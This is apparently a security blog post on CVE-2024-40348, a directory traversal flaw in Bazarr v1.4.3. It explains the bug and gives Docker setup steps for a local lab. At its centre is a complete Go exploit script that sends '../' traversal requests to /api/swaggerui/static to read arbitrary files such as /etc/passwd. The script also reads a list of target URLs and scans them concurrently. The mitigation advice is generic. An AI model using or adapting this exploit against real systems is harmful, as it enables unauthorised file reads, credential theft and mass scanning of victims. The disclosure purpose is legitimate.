CVE-2024-40348: Bazarr Directory Traversal Vulnerability

2024-07-30
James McGill
Bazarr file read vulnerability
Bazarr expoit
Bazarr vulnerability
CVE-2024-40348
CVE-2024-40348 PoC
CVE-2024-40348 exploit
Bazarr directory traversal
CVE-2024-40348 directory traversal attack
Linux server exploit
CVE-2024-40348: Bazarr Directory Traversal Vulnerability

Overview

CVE-2024-40348 is a critical security vulnerability affecting Bazarr v1.4.3. This flaw, identified as a directory traversal, enables unauthenticated remote attackers to execute arbitrary file read operations within the system's filesystem. Successful exploitation of this vulnerability could lead to severe data exfiltration and system compromise.

Vulnerability Details

The vulnerability resides within the /api/swaggerui/static component of Bazarr. Due to improper input validation and sanitization, the component is susceptible to directory traversal attacks. An attacker can manipulate input parameters to construct malicious file paths, bypassing intended access controls.

Impact

Successful exploitation of CVE-2024-40348 could have catastrophic consequences:

  • Data Exfiltration: Attackers can access sensitive files, including configuration files, credentials, source code, and user data.

  • System Compromise: By reading system files, attackers can gain insights into system architecture, installed software, and potential vulnerabilities for further exploitation.

  • Privilege Escalation: In certain scenarios, accessing specific files could provide information that facilitates privilege escalation.

Technical Analysis

To exploit this vulnerability, an attacker would typically:

  • Identify the vulnerable Bazarr instance: This involves determining if the target system is running Bazarr v1.4.3 or an earlier version.

  • Construct a malicious request: The attacker crafts a specially crafted HTTP request targeting the /api/swaggerui/static endpoint. The request includes manipulated parameters to traverse directories and access desired files.

  • Execute the request: Sending the malicious request to the vulnerable Bazarr instance triggers the vulnerability, allowing the attacker to read the contents of the specified file.

Proof of Concept

To build a PoC lab, let's first set up a environment on our local system to host the vulnerable version of Bazarr. There's a publicly hosted docker image that we can to start up a Bazarr server:

sudo docker run --name=bazarr -e PUID=1000 -e PGID=1000 -e TZ=Etc/UTC  -p 6767:6767 -v /path/to/bazarr/config:/config -v /path/to/movies:/movies `#optional` -v /path/to/tv:/tv `#optional` --restart unless-stopped lscr.io/linuxserver/bazarr:1.4.3

Once the image is download and it is live, we can access the vulnerable Bazarr web server at http://localhost:6767

Now we can perform the exploitation attempt. Below is the exploit script in golang for CVE-2024-40348 to perform a directory traversal attack on our hosted vulnerable Bazarr v1.4.3 instance. This script sends a specially crafted HTTP GET request to the /api/swaggerui/static endpoint as we discussed above, allowing an attacker to read arbitrary files from the server's filesystem.

package main
import (
        "bufio"
        "crypto/tls"
        "flag"
        "fmt"
        "net"
        "net/url"
        "os"
        "strconv"
        "strings"
        "sync"
)

// fetchHTTPResponse sends an HTTP GET request to the specified host and port, then
returns the response body.
func fetchHTTPResponse(host string, port int, resourcePath string) (string, error) {
        var connection net.Conn
        var err error

        address := fmt.Sprintf("%s:%d", host, port)
        if port == 443 {
                connection, err = tls.Dial("tcp", address, &tls.Config{
                        InsecureSkipVerify: true, // Skip SSL certificate verification
                        ServerName:           host,
                })
        } else {
                connection, err = net.Dial("tcp", address)
        }

        if err != nil {
                return "", err
        }
        defer connection.Close()

        requestLine := fmt.Sprintf("GET %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n",
resourcePath, host)
        _, err = connection.Write([]byte(requestLine))
        if err != nil {
                return "", err
        }

        var responseBuilder strings.Builder
        buffer := make([]byte, 4096)
        for {
                bytesRead, err := connection.Read(buffer)
                if err != nil {
                        break
                }
                responseBuilder.Write(buffer[:bytesRead])
        }
        return responseBuilder.String(), nil
}

// evaluateURL performs an HTTP request to a given URL and prints the response body.
func evaluateURL(rawURL string, filePath string) {
        parsed, err := url.Parse(rawURL)
        if err != nil {
                fmt.Printf("Failed to parse URL %s: %v\n", rawURL, err)
                return
        }
        host := parsed.Hostname()
        port := parsed.Port()
        if port == "" {
                if parsed.Scheme == "https" {
                        port = "443"
                } else {
                        port = "80"
                }
        }

        resourcePath := fmt.Sprintf("/api/swaggerui/static/../../../../../../../../../../../../../../../../%s",
filePath)

        response, err := fetchHTTPResponse(host, toInt(port), resourcePath)
        if err != nil {
                fmt.Printf("Error during request to %s: %v\n", rawURL, err)
                return
        }

        parts := strings.SplitN(response, "\r\n\r\n", 2)
        if len(parts) == 2 {
                bodyContent := parts[1]
                fmt.Println(bodyContent)
        }
}

// processURLs reads URLs from a channel and processes them using the evaluateURL
function.
func processURLs(urlChannel <-chan string, filePath string, wg *sync.WaitGroup) {
        defer wg.Done()
        for url := range urlChannel {
                evaluateURL(url, filePath)
        }
}

func main() {
        var targetURL string
        var fileList string
        var checkPath string

        flag.StringVar(&targetURL, "url", "", "Target URL (e.g., http://example.com)")
        flag.StringVar(&fileList, "file", "", "File containing a list of URLs (one per line)")
        flag.StringVar(&checkPath, "path", "/etc/passwd", "File path to check (default:
/etc/passwd)")
        flag.Parse()

        if targetURL != "" {
                evaluateURL(targetURL, checkPath)
        } else if fileList != "" {
                file, err := os.Open(fileList)
                if err != nil {
                        fmt.Printf("Error opening file %s: %v\n", fileList, err)
                        return
                }
                defer file.Close()

                urlChannel := make(chan string, 100)
                var wg sync.WaitGroup

                scanner := bufio.NewScanner(file)
                for scanner.Scan() {
                        url := scanner.Text()
                        if strings.TrimSpace(url) != "" {
                                urlChannel <- url
                        }
                }
                close(urlChannel)

                for i := 0; i < 10; i++ {
                        wg.Add(1)
                        go processURLs(urlChannel, checkPath, &wg)
                }

                wg.Wait()
        } else {
                flag.Usage()
        }
}

// toInt converts a string to an integer, returning 0 if the conversion fails.
func toInt(s string) int {
        value, _ := strconv.Atoi(s)
        return value
}

The script works in the following flow:

  • It first constructs an HTTP GET request with a directory traversal payload targeting the /api/swaggerui/static endpoint.

  • It then sends the request to the target server and reads the response.

  • If the server is vulnerable, the response will contain the contents of the specified file.

  • This script also supports processing multiple URLs from a file, to make it suitable for automated scanning of multiple targets.

We can simply execute the exploit script now, providing our http://localhost:6767 as the target and whatever file we'd like to read by exploiting CVE-2024-40348:

go run exploit.go -url http://localhost:6767 -path /etc/passwd

If the attack is successful then we should expect it to print the content of the file on our terminal:

Mitigation and Prevention

As of now, no official patches or workarounds are available for CVE-2024-40348. However, the following general security best practices can help mitigate risks:

  • Application Whitelisting: Restrict the execution of unauthorized applications to prevent malicious code from running.

  • Network Segmentation: Isolate critical systems and data from external networks to limit exposure.

  • Intrusion Detection and Prevention Systems (IDPS): Deploy robust IDPS solutions to detect and block malicious activity.

  • Regular Security Audits: Conduct thorough security assessments to identify and address vulnerabilities.

  • Principle of Least Privilege: Grant users only the necessary permissions to perform their tasks.

  • Input Validation and Sanitization: Implement rigorous input validation and sanitization mechanisms to prevent injection attacks.

  • File Integrity Monitoring: Monitor file system integrity to detect unauthorized modifications.

Conclusion

CVE-2024-40348 poses a significant threat to systems running Bazarr v1.4.3. Due to the critical nature of this vulnerability, organizations using Bazarr should prioritize mitigation strategies and closely monitor for updates and patches. Maintaining a strong security posture, including regular vulnerability assessments and incident response planning, is essential to protect against such threats.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-40348 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-9264: Command Injection and LFI in Grafana
CVE-2024-9264: Command Injection and LFI in Grafana
2024-10-25
Kamran Hasan
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
2024-10-26
Kamran Hasan
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill